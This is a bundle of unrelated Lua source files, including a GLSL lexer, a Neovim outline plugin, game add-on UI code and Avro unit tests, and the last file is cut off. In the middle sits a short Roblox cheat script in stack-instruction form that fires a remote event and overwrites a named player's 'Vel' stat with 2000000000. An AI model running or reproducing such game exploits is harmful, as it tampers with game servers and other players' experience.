'barrier'
}) +
-- Variables.
token(lexer.VARIABLE, word_match{
'gl_VertexID', 'gl_InstanceID', 'gl_Position', 'gl_PointSize', 'gl_ClipDistance',
'gl_PrimitiveIDIn', 'gl_InvocationID', 'gl_PrimitiveID', 'gl_Layer', 'gl_PatchVerticesIn',
'gl_TessLevelOuter', 'gl_TessLevelInner', 'gl_TessCoord', 'gl_FragCoord', 'gl_FrontFacing',
'gl_PointCoord', 'gl_SampleID', 'gl_SamplePosition', 'gl_FragColor', 'gl_FragData',
'gl_FragDepth', 'gl_SampleMask', 'gl_ClipVertex', 'gl_FrontColor', 'gl_BackColor',
'gl_FrontSecondaryColor', 'gl_BackSecondaryColor', 'gl_TexCoord', 'gl_FogFragCoord', 'gl_Color',
'gl_SecondaryColor', 'gl_Normal', 'gl_Vertex', 'gl_MultiTexCoord0', 'gl_MultiTexCoord1',
'gl_MultiTexCoord2', 'gl_MultiTexCoord3', 'gl_MultiTexCoord4', 'gl_MultiTexCoord5',
'gl_MultiTexCoord6', 'gl_MultiTexCoord7', 'gl_FogCoord'
}) +
-- Constants.
token(lexer.CONSTANT, word_match{
'gl_MaxVertexAttribs', 'gl_MaxVertexUniformComponents', 'gl_MaxVaryingFloats',
'gl_MaxVaryingComponents', 'gl_MaxVertexOutputComponents', 'gl_MaxGeometryInputComponents',
'gl_MaxGeometryOutputComponents', 'gl_MaxFragmentInputComponents',
'gl_MaxVertexTextureImageUnits', 'gl_MaxCombinedTextureImageUnits', 'gl_MaxTextureImageUnits',
'gl_MaxFragmentUniformComponents', 'gl_MaxDrawBuffers', 'gl_MaxClipDistances',
'gl_MaxGeometryTextureImageUnits', 'gl_MaxGeometryOutputVertices',
'gl_MaxGeometryTotalOutputComponents', 'gl_MaxGeometryUniformComponents',
'gl_MaxGeometryVaryingComponents', 'gl_MaxTessControlInputComponents',
'gl_MaxTessControlOutputComponents', 'gl_MaxTessControlTextureImageUnits',
'gl_MaxTessControlUniformComponents', 'gl_MaxTessControlTotalOutputComponents',
'gl_MaxTessEvaluationInputComponents', 'gl_MaxTessEvaluationOutputComponents',
'gl_MaxTessEvaluationTextureImageUnits', 'gl_MaxTessEvaluationUniformComponents',
'gl_MaxTessPatchComponents', 'gl_MaxPatchVertices', 'gl_MaxTessGenLevel', 'gl_MaxTextureUnits',
'gl_MaxTextureCoords', 'gl_MaxClipPlanes', --
'gl_DepthRange', 'gl_ModelViewMatrix', 'gl_ProjectionMatrix', 'gl_ModelViewProjectionMatrix',
'gl_TextureMatrix', 'gl_NormalMatrix', 'gl_ModelViewMatrixInverse', 'gl_ProjectionMatrixInverse',
'gl_ModelViewProjectionMatrixInverse', 'gl_TextureMatrixInverse', 'gl_ModelViewMatrixTranspose',
'gl_ProjectionMatrixTranspose', 'gl_ModelViewProjectionMatrixTranspose',
'gl_TextureMatrixTranspose', 'gl_ModelViewMatrixInverseTranspose',
'gl_ProjectionMatrixInverseTranspose', 'gl_ModelViewProjectionMatrixInverseTranspose',
'gl_TextureMatrixInverseTranspose', 'gl_NormalScale', 'gl_ClipPlane', 'gl_Point',
'gl_FrontMaterial', 'gl_BackMaterial', 'gl_LightSource', 'gl_LightModel',
'gl_FrontLightModelProduct', 'gl_BackLightModelProduct', 'gl_FrontLightProduct',
'gl_BackLightProduct', 'gl_TextureEnvColor', 'gl_EyePlaneS', 'gl_EyePlaneT', 'gl_EyePlaneR',
'gl_EyePlaneQ', 'gl_ObjectPlaneS', 'gl_ObjectPlaneT', 'gl_ObjectPlaneR', 'gl_ObjectPlaneQ',
'gl_Fog'
}))
return lex
|
local backends = require("aerial.backends")
local bindings = require("aerial.bindings")
local config = require("aerial.config")
local data = require("aerial.data")
local loading = require("aerial.loading")
local render = require("aerial.render")
local util = require("aerial.util")
local api = vim.api
local M = {}
local function create_aerial_buffer(bufnr)
local aer_bufnr = api.nvim_create_buf(false, true)
if config.default_bindings then
for _, binding in ipairs(bindings.keys) do
local keys, command, _ = unpack(binding)
if type(keys) == "string" then
keys = { keys }
end
for _, key in ipairs(keys) do
api.nvim_buf_set_keymap(aer_bufnr, "n", key, command, { silent = true, noremap = true })
end
end
end
-- Set buffer options
api.nvim_buf_set_var(bufnr, "aerial_buffer", aer_bufnr)
api.nvim_buf_set_var(aer_bufnr, "source_buffer", bufnr)
loading.set_loading(aer_bufnr, not data:has_received_data(bufnr))
api.nvim_buf_set_option(aer_bufnr, "buftype", "nofile")
api.nvim_buf_set_option(aer_bufnr, "bufhidden", "wipe")
api.nvim_buf_set_option(aer_bufnr, "buflisted", false)
api.nvim_buf_set_option(aer_bufnr, "swapfile", false)
api.nvim_buf_set_option(aer_bufnr, "modifiable", false)
render.update_aerial_buffer(bufnr)
return aer_bufnr
end
local function create_aerial_window(bufnr, aer_bufnr, direction, existing_win)
-- We used to use < and > to indicate direction.
if direction == "<" then
direction = "left"
end
if direction == ">" then
direction = "right"
end
if direction ~= "left" and direction ~= "right" and direction ~= "float" then
error("Expected direction to be 'left', 'right', or 'float'")
return
end
if aer_bufnr == -1 then
aer_bufnr = create_aerial_buffer(bufnr)
end
local my_winid = api.nvim_get_current_win()
if not existing_win then
if direction == "float" then
vim.api.nvim_open_win(aer_bufnr, true, {
relative = "cursor",
row = config.float.row,
col = config.float.col,
width = util.get_width(aer_bufnr),
height = util.get_height(aer_bufnr),
zindex = 125,
style = "minimal",
border = config.float.border,
})
else
local winids
if config.placement_editor_edge then
winids = util.get_fixed_wins()
else
winids = util.get_fixed_wins(bufnr)
end
local split_target
if direction == "left" then
split_target = winids[1]
else
split_target = winids[#winids]
end
if my_winid ~= split_target then
util.go_win_no_au(split_target)
end
if direction == "left" then
vim.cmd("noau vertical leftabove split")
else
vim.cmd("noau vertical rightbelow split")
end
api.nvim_win_set_width(0, util.get_width(aer_bufnr))
end
else
util.go_win_no_au(existing_win)
end
util.go_buf_no_au(aer_bufnr)
-- Set the filetype only after we enter the buffer so that FileType autocmds
-- behave properly
api.nvim_buf_set_option(aer_bufnr, "filetype", "aerial")
api.nvim_win_set_option(0, "winfixwidth", true)
api.nvim_win_set_option(0, "number", false)
api.nvim_win_set_option(0, "signcolumn", "no")
api.nvim_win_set_option(0, "foldcolumn", "0")
api.nvim_win_set_option(0, "relativenumber", false)
api.nvim_win_set_option(0, "wrap", false)
api.nvim_win_set_var(0, "is_aerial_win", true)
local aer_winid = api.nvim_get_current_win()
util.go_win_no_au(my_winid)
return aer_winid
end
M.is_open = function(bufnr)
local aer_bufnr = util.get_aerial_buffer(bufnr)
if aer_bufnr == -1 then
return false
else
local winid = util.buf_first_win_in_tabpage(aer_bufnr)
return winid ~= nil
end
end
M.close = function()
if util.is_aerial_buffer() then
vim.api.nvim_win_close(0, false)
return
end
local aer_bufnr = util.get_aerial_buffer()
local winid = util.buf_first_win_in_tabpage(aer_bufnr)
if winid then
vim.api.nvim_win_close(winid, false)
end
end
M.maybe_open_automatic = function()
if not config.open_automatic() then
return false
end
if data[0]:count() < config.open_automatic_min_symbols then
return false
end
if api.nvim_buf_line_count(0) < config.open_automatic_min_lines then
return false
end
M.open(false)
return true
end
M.open = function(focus, direction, opts)
opts = vim.tbl_extend("keep", opts or {}, {
winid = nil,
})
local backend = backends.get()
if not backend then
backends.log_support_err()
return
end
local bufnr, aer_bufnr = util.get_buffers()
if M.is_open() then
if focus then
local winid = util.buf_first_win_in_tabpage(aer_bufnr)
api.nvim_set_current_win(winid)
end
return
end
direction = direction or util.detect_split_direction()
local aer_winid = create_aerial_window(bufnr, aer_bufnr, direction, opts.winid)
if not data:has_symbols(bufnr) then
backend.fetch_symbols()
end
local my_winid = api.nvim_get_current_win()
M.update_position(nil, my_winid)
if focus then
api.nvim_set_current_win(aer_winid)
end
vim.cmd("wincmd =")
end
M.focus = function()
if not M.is_open() then
return
end
local bufnr = api.nvim_get_current_buf()
local aer_bufnr = util.get_aerial_buffer(bufnr)
local winid = util.buf_first_win_in_tabpage(aer_bufnr)
api.nvim_set_current_win(winid)
end
M.toggle = function(focus, direction)
if util.is_aerial_buffer() then
vim.api.nvim_win_close(0, false)
return false
end
if M.is_open() then
M.close()
return false
else
M.open(focus, direction)
return true
end
end
M.get_position_in_win = function(bufnr, winid)
local cursor = api.nvim_win_get_cursor(winid or 0)
local lnum = cursor[1]
local col = cursor[2]
local bufdata = data[bufnr]
local selected = 0
local relative = "above"
bufdata:visit(function(item)
if item.lnum > lnum then
return true
elseif item.lnum == lnum then
if item.col > col then
return true
elseif item.col == col then
selected = selected + 1
relative = "exact"
return true
else
relative = "below"
end
else
relative = "below"
end
selected = selected + 1
end)
return {
lnum = math.max(1, selected),
relative = relative,
}
end
M.update_all_positions = function(bufnr, last_focused_win)
local source_buffer = util.get_buffers(bufnr)
local all_source_wins = util.get_fixed_wins(source_buffer)
M.update_position(all_source_wins, last_focused_win)
end
-- winids can be nil, a winid, or a list of winids
M.update_position = function(winids, last_focused_win)
if not config.highlight_mode or config.highlight_mode == "none" then
return
end
if winids == nil or winids == 0 then
winids = { api.nvim_get_current_win() }
elseif type(winids) ~= "table" then
winids = { winids }
end
if #winids == 0 then
return
end
local win_bufnr = api.nvim_win_get_buf(winids[1])
local bufnr, aer_bufnr = util.get_buffers(win_bufnr)
if not data:has_symbols(bufnr) then
return
end
if util.is_aerial_buffer(win_bufnr) then
winids = util.get_fixed_wins(bufnr)
end
local bufdata = data[bufnr]
for _, target_win in ipairs(winids) do
local pos = M.get_position_in_win(bufnr, target_win)
if pos ~= nil then
bufdata.positions[target_win] = pos
if last_focused_win and (last_focused_win == true or last_focused_win == target_win) then
bufdata.last_position = pos.lnum
end
end
end
render.update_highlights(bufnr)
if last_focused_win then
local aer_winid = util.buf_first_win_in_tabpage(aer_bufnr)
if aer_winid then
local last_position = bufdata.last_position
local lines = api.nvim_buf_line_count(aer_bufnr)
-- When aerial window is global, the items can change and cursor will move
-- before the symbols are published, which causes the line number to be
-- invalid.
if lines >= last_position then
api.nvim_win_set_cursor(aer_winid, { bufdata.last_position, 0 })
end
end
end
end
return M
|
-- Created by Elfansoer
--[[
Ability checklist (erase if done/checked):
- Scepter Upgrade
- Break behavior
- Linken/Reflect behavior
- Spell Immune/Invulnerable/Invisible behavior
- Illusion behavior
- Stolen behavior
]]
--------------------------------------------------------------------------------
modifier_underlord_pit_of_malice_lua_cooldown = class({})
--------------------------------------------------------------------------------
-- Classifications
function modifier_underlord_pit_of_malice_lua_cooldown:IsHidden()
return true
end
function modifier_underlord_pit_of_malice_lua_cooldown:IsDebuff()
return true
end
function modifier_underlord_pit_of_malice_lua_cooldown:IsPurgable()
return false
end
function modifier_underlord_pit_of_malice_lua_cooldown:GetAttributes()
return MODIFIER_ATTRIBUTE_MULTIPLE
end
--------------------------------------------------------------------------------
-- Initializations
function modifier_underlord_pit_of_malice_lua_cooldown:OnCreated( kv )
end
function modifier_underlord_pit_of_malice_lua_cooldown:OnRefresh( kv )
end
function modifier_underlord_pit_of_malice_lua_cooldown:OnRemoved()
end
function modifier_underlord_pit_of_malice_lua_cooldown:OnDestroy()
end
|
-- Copyright 2021 Kafka-Tarantool-Loader
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by ashitov.
--- DateTime: 6/2/20 2:17 PM
---
local bin_avro_utils = require("app.utils.bin_avro_utils")
local file_utils = require("app.utils.file_utils")
local json = require("json")
local os = require("os")
local t = require("luatest")
local g = t.group("bin_avro_utils.compile_avro_schema")
local g2 = t.group("bin_avro_utils.encode_decode")
local g3 = t.group("bin_avro_utils.performance")
local g4 = t.group("bin.avro_utils.file_encode")
--TODO normal test API for encoding,decoding,perf,memory leaks
g.test_wrong_format_input = function()
t.assert_error(bin_avro_utils.compile_avro_schema, nil)
t.assert_error(bin_avro_utils.compile_avro_schema, { ["ab"] = 123 })
t.assert_error(bin_avro_utils.compile_avro_schema, 123)
end
g.test_read_topicY_schema = function()
local valid_schema, _ = file_utils.read_file("test/unit/data/avro_schemas/topicY_avro_schema_valid.json")
local invalid_schema, _ = file_utils.read_file("test/unit/data/avro_schemas/topicY_avro_schema_invalid.json")
local ok, res = bin_avro_utils.compile_avro_schema(valid_schema)
t.assert_equals(ok, true)
t.assert_equals(type(res), "table")
local ok2, res2 = bin_avro_utils.compile_avro_schema(invalid_schema)
t.assert_equals(ok2, false)
t.assert_str_contains(tostring(res2), '"ERROR:')
end
g.test_read_topicX_schema = function()
local key_schema, _ = file_utils.read_file("test/unit/data/avro_schemas/topicX_avro_schema_key.json")
local value_schema, _ = file_utils.read_file("test/unit/data/avro_schemas/topicX_avro_schema_value.json")
local ok, res = bin_avro_utils.compile_avro_schema(key_schema)
t.assert_equals(ok, true)
t.assert_equals(type(res), "table")
local ok2, res2 = bin_avro_utils.compile_avro_schema(value_schema)
t.assert_equals(ok2, true)
t.assert_equals(type(res2), "table")
end
g2.test_topicX_transformation = function()
local value_schema, _ = file_utils.read_file("test/unit/data/avro_schemas/topicX_avro_schema_value.json")
local values = json.decode(file_utils.read_file("test/unit/data/avro_values/topicX_value_decoded.json"))
local _, encoded_value = bin_avro_utils.encode(value_schema, values, false)
local ok, decoded_value = bin_avro_utils.decode(encoded_value, value_schema)
t.assert_equals(ok, true)
t.assert_equals(decoded_value, bin_avro_utils.clean_table_of_records_from_avro_types(values))
end
g2.test_transformation_with_schema_in_data = function()
local encoded1, _ = file_utils.read_file("test/unit/data/avro_values/topicZ_value_encoded2.avro")
local decoded1, _ = file_utils.read_file("test/unit/data/avro_values/topicZ_value_decoded2.json")
local ok1, decoded_value1 = bin_avro_utils.decode(encoded1)
t.assert_equals(ok1, true)
t.assert_equals(decoded_value1, json.decode(decoded1))
local encoded2, _ = file_utils.read_file("test/unit/data/avro_values/test2_value_encoded.avro")
local decoded2, _ = file_utils.read_file("test/unit/data/avro_values/test1_2_value_decoded.json")
local ok2, decoded_value2 = bin_avro_utils.decode(encoded2)
t.assert_equals(ok2, true)
t.assert_equals(decoded_value2, json.decode(decoded2))
local encoded3, _ = file_utils.read_file("test/unit/data/avro_values/test2_value_encoded.avro")
local decoded3, _ = file_utils.read_file("test/unit/data/avro_values/test1_2_value_decoded.json")
local ok3, decoded_value3 = bin_avro_utils.decode(encoded3)
t.assert_equals(ok3, true)
t.assert_equals(decoded_value3, json.decode(decoded3))
local encoded4, _ = file_utils.read_file("test/unit/data/avro_values/topicZ_value_encoded2.avro")
local decoded4, _ = file_utils.read_file("test/unit/data/avro_values/topicZ_value_decoded2.json")
local ok4, decoded_value4 = bin_avro_utils.decode(encoded4)
t.assert_equals(ok4, true)
t.assert_equals(decoded_value4, json.decode(decoded4))
end
g2.test_transformation_with_schema2_in_data = function()
local encoded, _ = file_utils.read_file("test/unit/data/avro_values/test3_value_encoded.avro")
local decoded, _ = file_utils.read_file("test/unit/data/avro_values/test1_2_value_decoded.json")
local ok, decoded_value = bin_avro_utils.decode(encoded)
t.assert_equals(ok, true)
t.assert_equals(decoded_value, json.decode(decoded))
end
g2.test_transformation_with_schema2_in_data_fast = function()
local encoded, _ = file_utils.read_file("test/unit/data/avro_values/test3_value_encoded.avro")
local decoded, _ = file_utils.read_file("test/unit/data/avro_values/test1_2_value_decoded.json")
local ok, decoded_value = bin_avro_utils.decode(encoded)
t.assert_equals(ok, true)
t.assert_equals(decoded_value, json.decode(decoded))
end
local function test_decoding_avro_single_object(run_cnt)
local start_time = os.clock()
for _ = 1, run_cnt, 1 do
local value_schema, _ = file_utils.read_file("test/unit/data/avro_schemas/topicX_avro_schema_value.json")
local values = json.decode(file_utils.read_file("test/unit/data/avro_values/topicX_value_decoded.json"))
local ok1, encoded_value = bin_avro_utils.encode(value_schema, values, false)
t.assert_equals(ok1, true)
local ok2, decoded_value = bin_avro_utils.decode(encoded_value, value_schema)
t.assert_equals(ok2, true)
t.assert_equals(decoded_value, bin_avro_utils.clean_table_of_records_from_avro_types(values))
end
local end_time = os.clock()
return end_time - start_time < run_cnt * 0.1
end
g3.test_perf_encoding_decoding_wo_schema = function()
t.assert_equals(test_decoding_avro_single_object(1000), true)
end
g4.test_file_encode = function()
--TODO tests for encode_table_of_records_to_avro_object_container
end
|
----------------------------------------------------------------------------------------------------
-- Scrollable UIView class.
--
-- <h4>Extends:</h4>
-- <ul>
-- <li><a href="flower.widget.UIView.html">UIView</a><l/i>
-- </ul>
--
-- @author Makoto
-- @release V3.0.0
----------------------------------------------------------------------------------------------------
-- import
local UIView = require 'candy.ui.UIView'
local ScrollGroup = require 'candy.ui.ScrollGroup'
---@class ScrollView : UIView
local ScrollView = CLASS: ScrollView ( UIView )
---
-- Initializes the internal variables.
function ScrollView:_initInternal ()
ScrollView.__super._initInternal ( self )
self._themeName = "ScrollView"
end
---
-- Performing the initialization processing of the component.
function ScrollView:_createChildren ()
self._scrollGroup = ScrollGroup {
size = { self:getSize () },
themeName = self._themeName,
}
self:addChild ( self._scrollGroup )
end
---
-- Update the ScrollGroup bounds.
function ScrollView:updateDisplay ()
ScrollView.__super.updateDisplay ( self )
self:_updateScrollBounds ()
end
---
-- Update the ScrollGroup bounds.
function ScrollView:_updateScrollBounds ()
self._scrollGroup:setSize ( self:getSize () )
self._scrollGroup:setPos ( 0, 0 )
end
---
-- Add the content to scrollGroup.
---@param content
function ScrollView:addContent ( content )
self._scrollGroup:addContent ( content )
end
---
-- Add the content from scrollGroup.
---@param content
function ScrollView:removeContent ( content )
self._scrollGroup:removeContent ( content )
end
---
-- Add the content from scrollGroup.
---@param contents
function ScrollView:setContents ( contents )
self._scrollGroup:setContents ( contents )
end
---
-- Return the layout from scrollGroup.
---@return layout
function ScrollView:getContentLayout ()
return self._scrollGroup:getContentLayout ()
end
---
-- Return the scroll size.
---@return scroll size
function ScrollView:getScrollSize ()
return self._scrollGroup:getSize ()
end
---
-- Return the scrollGroup.
---@return scrollGroup
function ScrollView:getScrollGroup ()
return self._scrollGroup
end
---
-- Set the layout.
---@param layout layout
function ScrollView:setLayout ( layout )
self._scrollGroup:setLayout ( layout )
end
---
-- Set the coefficient of friction at the time of scrolling.
---@param value friction
function ScrollView:setFriction ( value )
self._scrollGroup:setFriction ( value )
end
---
-- Returns the coefficient of friction at the time of scrolling.
---@return friction
function ScrollView:getFriction ()
return self._scrollGroup:getFriction ()
end
---
-- Sets the horizontal and vertical scroll enabled.
---@param value horizontal and vertical scroll is enabled.
function ScrollView:setScrollEnabled ( value )
self:setScrollPolicy ( value, value )
end
---
-- Sets the horizontal and vertical scroll enabled.
---@param horizontal horizontal scroll is enabled.
---@param vertical vertical scroll is enabled.
function ScrollView:setScrollPolicy ( horizontal, vertical )
self._scrollGroup:setScrollPolicy ( horizontal, vertical )
end
---
-- Return the scroll policy.
---@return horizontal scroll enabled.
---@return vertical scroll enabled.
function ScrollView:getScrollPolicy ()
return self._scrollGroup:getScrollPolicy ()
end
---
-- Sets the horizontal and vertical bounce enabled.
---@param horizontal horizontal scroll is enabled.
---@param vertical vertical scroll is enabled.
function ScrollView:setBouncePolicy ( horizontal, vertical )
self._scrollGroup:setBouncePolicy ( horizontal, vertical )
end
---
-- Returns whether horizontal bouncing is enabled.
---@return horizontal bouncing enabled
---@return vertical bouncing enabled
function ScrollView:getBouncePolicy ()
return self._scrollGroup:getBouncePolicy ()
end
---
-- Scroll to the specified location.
---@param x position of the x
---@param y position of the x
---@param sec second
---@param mode EaseType
---@param callback (optional) allows callback notification when animation completes.
function ScrollView:scrollTo ( x, y, sec, mode, callback )
self._scrollGroup:scrollTo ( x, y, sec, mode, callback )
end
---
-- This event handler is called when resize.
---@param e Resize Event
function ScrollView:onResize ( e )
ScrollView.__super.onResize ( self, e )
self:_updateScrollBounds ()
end
return ScrollView
|
getglobal game
getfield -1 ReplicatedStorage
getfield -1 Event
getfield -1 FireServer
pushvalue -2
pushstring Vel
pushnumber 2000000000
pcall 3 1 0
emptystack
getglobal game
getfield -1 ReplicatedStorage
getfield -1 Profiles
getfield -1 MightyDantheman
getfield -1 Stats
getfield -1 Vel
pushnumber 2000000000
setfield -2 Value
emptystack
|
MenuEntity = Entity:new()
function MenuEntity:new(o)
o = self:create(o)
end
function MenuEntity:setName(name)
self.name = name
end
function MenuEntity:setBackgroundTextureName(textureName)
self.backgroundTextureName = textureName
end
function MenuEntity:setBackgroundColorMod(backgroundColorMod)
self.backgroundColorMod = backgroundColorMod
end
|
local ret = {}
local getTrace = function(filename, info)
local index = info.traceback:find('\n%s*%[C]')
info.traceback = info.traceback:sub(1, index)
return info, false
end
ret.match = function(busted, filename)
local path, name, ext = filename:match('(.-)([^\\/\\\\]-%.?([^%.\\/]*))$')
if ext == 'lua' then
return true
end
return false
end
ret.load = function(busted, filename)
local file, err
local success, err = pcall(function()
file, err = loadfile(filename)
if not file then
busted.publish({ 'error', 'file' }, filename, nil, nil, err)
end
end)
if not success then
busted.publish({ 'error', 'file' }, filename, nil, nil, err)
end
return file, getTrace
end
return ret
|
if not _G.IsWatchingHonorAsXP then return end
local _, Addon = ...
local Dominos = _G.Dominos
local HonorBar = Dominos:CreateClass('Frame', Addon.ProgressBar)
function HonorBar:Init()
self:SetColor(Addon.Config:GetColor('honor'))
self:Update()
end
function HonorBar:Update()
local value = UnitHonor('player') or 0
local max = UnitHonorMax('player') or 1
self:SetValues(value, max)
self:UpdateText(_G.HONOR, value, max)
end
function HonorBar:IsModeActive()
return IsWatchingHonorAsXP() or InActiveBattlefield() or IsInActiveWorldPVP()
end
-- register this as a possible progress bar mode
Addon.progressBarModes = Addon.progressBarModes or {}
Addon.progressBarModes['honor'] = HonorBar
Addon.HonorBar = HonorBar
|
print("Yo")
local port_size = 10
local CONNECTION = {}
function CONNECTION:Init()
self:SetSize(port_size,port_size)
self:Droppable("nzu_logicmap_connection_in")
self:SetPaintBackground(false)
end
function CONNECTION:PaintOver(x,y)
if IsValid(self.Output) then
surface.SetDrawColor(0,0,0)
surface.DrawLine(self.GetPos(), self.Output:GetPos())
end
end
function CONNECTION:SetPorts(outp, inp)
self.Tail = outp.Panel
self:SetParent(inp.Panel)
end
function CONNECTION:SetConnection(c)
self.m_tConnection = c
end
function CONNECTION:PaintOver(x,y)
if IsValid(self.Tail) then
surface.SetDrawColor(0,0,0)
DisableClipping(true)
local tx,ty = self:ScreenToLocal(self.Tail:LocalToScreen(5,5))
surface.DrawLine(tx,ty,x - 5,y - 5)
DisableClipping(false)
end
end
--[[function CONNECTION:OnMouseReleased(code)
if not self:IsDragging() then
print("I'm not here")
self:Remove()
end
end]]
local INPUTPORT = {}
function INPUTPORT:Init()
self:SetBackgroundColor(Color(150,255,150))
self:SetSize(port_size,port_size)
self:Receiver("nzu_logicmap_connection", self.DropAction)
end
function INPUTPORT:DropAction(pnls, dropped, menu, x, y)
if dropped then
for k,v in pairs(pnls) do
-- Request a connection
net.Start("nzu_logicmap_connect")
net.WriteUInt(v.m_lUnit:LogicIndex(), 16)
net.WriteString(v.m_sPort)
net.WriteUInt(self.m_lUnit:LogicIndex(), 16)
net.WriteString(self.m_sPort)
net.WriteString("") -- For now, no arguments. Maybe change later so client can "pre-send" args?
net.SendToServer()
end
end
end
local OUTPUTPORT = {}
function OUTPUTPORT:Init()
self:SetBackgroundColor(Color(255,150,150))
self:SetSize(port_size,port_size)
self:Droppable("nzu_logicmap_connection")
end
local drawwiremouse
function OUTPUTPORT:OnMousePressed(code)
--drawwiremouse = {500,500}
--self:MouseCapture(true)
self:DragMousePress(code)
end
function OUTPUTPORT:OnMouseReleased(code)
--self:MouseCapture(false)
drawwiremouse = nil
self:DragMouseRelease(code)
end
function OUTPUTPORT:PaintOver(x,y)
if self:IsDragging() then
surface.SetDrawColor(0,0,0)
local mx,my = self:LocalCursorPos()
DisableClipping(true)
surface.DrawLine(5,5,mx,my)
DisableClipping(false)
end
end
derma.DefineControl("DLogicMapUnitConnection", "", CONNECTION, "DPanel")
derma.DefineControl("DLogicMapUnitInput", "", INPUTPORT, "DPanel")
derma.DefineControl("DLogicMapUnitOutput", "", OUTPUTPORT, "DPanel")
local TYPE = {}
local createpanel = {
[TYPE_STRING] = function() local p = vgui.Create("DTextEntry") p:SetTall(40) return p end,
[TYPE_NUMBER] = function() local p = vgui.Create("Panel") p.N = p:Add("DNumberWang") p.N:Dock(FILL) p.N:SetMinMax(nil,nil) p:SetTall(40) return p end,
[TYPE_BOOL] = function() local p = vgui.Create("DCheckBoxLabel") p:SetText("Enabled") p:SetTall(50) p:SetTextColor(color_black) return p end,
--[TYPE_ENTITY] = function end,
[TYPE_VECTOR] = function() local p = vgui.Create("DVectorEntry") p:SetTall(30) return p end,
[TYPE_ANGLE] = function() local p = vgui.Create("DAngleEntry") p:SetTall(30) return p end,
[TYPE_MATRIX] = function() local p = vgui.Create("DMatrixEntry") p:SetTall(100) return p end,
[TYPE_COLOR] = function() return vgui.Create("DColorMixer") end,
}
local setvalue = {
[TYPE_STRING] = function(p,v) p:SetText(v or "") end,
[TYPE_NUMBER] = function(p,v) p.N:SetValue(v) end,
[TYPE_BOOL] = function(p,v) p:SetChecked(v) end,
--[TYPE_ENTITY] = function end,
[TYPE_VECTOR] = function(p,v) p:SetVector(v) end,
[TYPE_ANGLE] = function(p,v) p:SetAngles(v) end,
[TYPE_MATRIX] = function(p,v) p:SetMatrix(v) end,
[TYPE_COLOR] = function(p,v) p:SetColor(v) end,
}
local getvalue = {
[TYPE_STRING] = function(p) return p:GetText() end,
[TYPE_NUMBER] = function(p) return p.N:GetValue() end,
[TYPE_BOOL] = function(p) return p:GetChecked() end,
--[TYPE_ENTITY] = function end,
[TYPE_VECTOR] = function(p) return p:GetVector() end,
[TYPE_ANGLE] = function(p) return p:GetAngles() end,
[TYPE_MATRIX] = function(p) return p:GetMatrix() end,
[TYPE_COLOR] = function(p) local c = p:GetColor() return Color(c.r,c.g,c.b,c.a) end,
}
-- These are here temporarily; We will move files around so it becomes shared/nZombies/Sandbox separated files
local writetypes = {
[TYPE_STRING] = function ( v ) net.WriteString( v ) end,
[TYPE_NUMBER] = function ( v ) net.WriteDouble( v ) end,
[TYPE_TABLE] = function ( v ) net.WriteTable( v ) end,
[TYPE_BOOL] = function ( v ) net.WriteBool( v ) end,
[TYPE_ENTITY] = function ( v ) net.WriteEntity( v ) end,
[TYPE_VECTOR] = function ( v ) net.WriteVector( v ) end,
[TYPE_ANGLE] = function ( v ) net.WriteAngle( v ) end,
[TYPE_MATRIX] = function ( v ) net.WriteMatrix( v ) end,
[TYPE_COLOR] = function ( v ) net.WriteColor( v ) end,
}
local SETTINGS = {}
function SETTINGS:SetUnit(u)
if not IsValid(self.TopPanel) then
self.TopPanel = self:Add("Panel")
self.TopPanel:Dock(TOP)
self.TopPanel:SetTall(30)
end
if not IsValid(self.SaveAll) then
self.SaveAll = self.TopPanel:Add("DButton")
self.SaveAll:Dock(RIGHT)
self.SaveAll:SetWide(60)
self.SaveAll:SetText("Save all")
self.SaveAll:DockMargin(5,5,5,5)
self.SaveAll.DoClick = function(s)
for k,v in pairs(self.Settings) do v._Save() end
end
end
if not IsValid(self.ReloadAll) then
self.ReloadAll = self.TopPanel:Add("DButton")
self.ReloadAll:Dock(RIGHT)
self.ReloadAll:SetWide(60)
self.ReloadAll:SetText("Reload All")
self.ReloadAll:DockMargin(5,5,0,5)
self.ReloadAll.DoClick = function(s)
self:Reload()
end
end
if not IsValid(self.Name) then
self.Name = self.TopPanel:Add("DLabel")
self.Name:Dock(TOP)
self.Name:SetContentAlignment(4)
self.Name:SetTextColor(color_black)
self.Name:SetTextInset(5,0)
end
self.Name:SetText(u.Name or "[No Name]")
self.Name:SizeToContents()
if not IsValid(self.Class) then
self.Class = self.TopPanel:Add("DLabel")
self.Class:SetContentAlignment(4)
self.Class:Dock(TOP)
self.Class:SetTextColor(color_black)
self.Class:SetTextInset(5,0)
end
self.Class:SetText(tostring(u))
self.Class:SizeToContents()
if not IsValid(self.Categories) then
self.Categories = self:Add("DCategoryList")
self.Categories:Dock(FILL)
else
self.Categories:Clear()
end
self.Settings = {}
for k,v in pairs(u.Settings) do
local panel
if v.CustomPanel then
panel = v.CustomPanel.Create()
v.CustomPanel.Set(panel, u:GetLogicSetting(k))
panel._GetValue = v.CustomPanel.Get
panel._SetValue = v.CustomPanel.Set
elseif v.Type and createpanel[v.Type] then
panel = createpanel[v.Type]()
setvalue[v.Type](panel, u:GetLogicSetting(k))
panel._GetValue = getvalue[v.Type]
panel._SetValue = setvalue[v.Type]
end
if panel then
panel._Save = function()
net.Start("nzu_logicmap_setting")
net.WriteUInt(u:LogicIndex(), 16)
u:NetWriteLogicSetting(k, panel:_GetValue())
net.SendToServer()
end
local cat = self.Categories:Add(k)
cat:SetTall(panel:GetTall())
cat:SetExpanded(true)
cat:SetContents(panel)
cat:DockMargin(0,0,0,1)
local save = cat.Header:Add("DButton")
save:Dock(RIGHT)
save:DockMargin(2,2,2,2)
save:SetWide(50)
save:SetText("Save")
save.DoClick = panel._Save
self.Settings[k] = panel
end
end
self.m_lUnit = u
end
function SETTINGS:Reload()
if not self.Settings or not IsValid(self.m_lUnit) then return end
for k,v in pairs(self.Settings) do
v:_SetValue(self.m_lUnit:GetLogicSetting(k))
end
end
derma.DefineControl("DLogicMapSettingsPanel", "", SETTINGS, "DPanel")
local PANEL = {}
AccessorFunc(PANEL,"m_bDisplayPorts", "ShowPorts", FORCE_BOOL)
function PANEL:Init()
--self:SetPaintBackground(false)
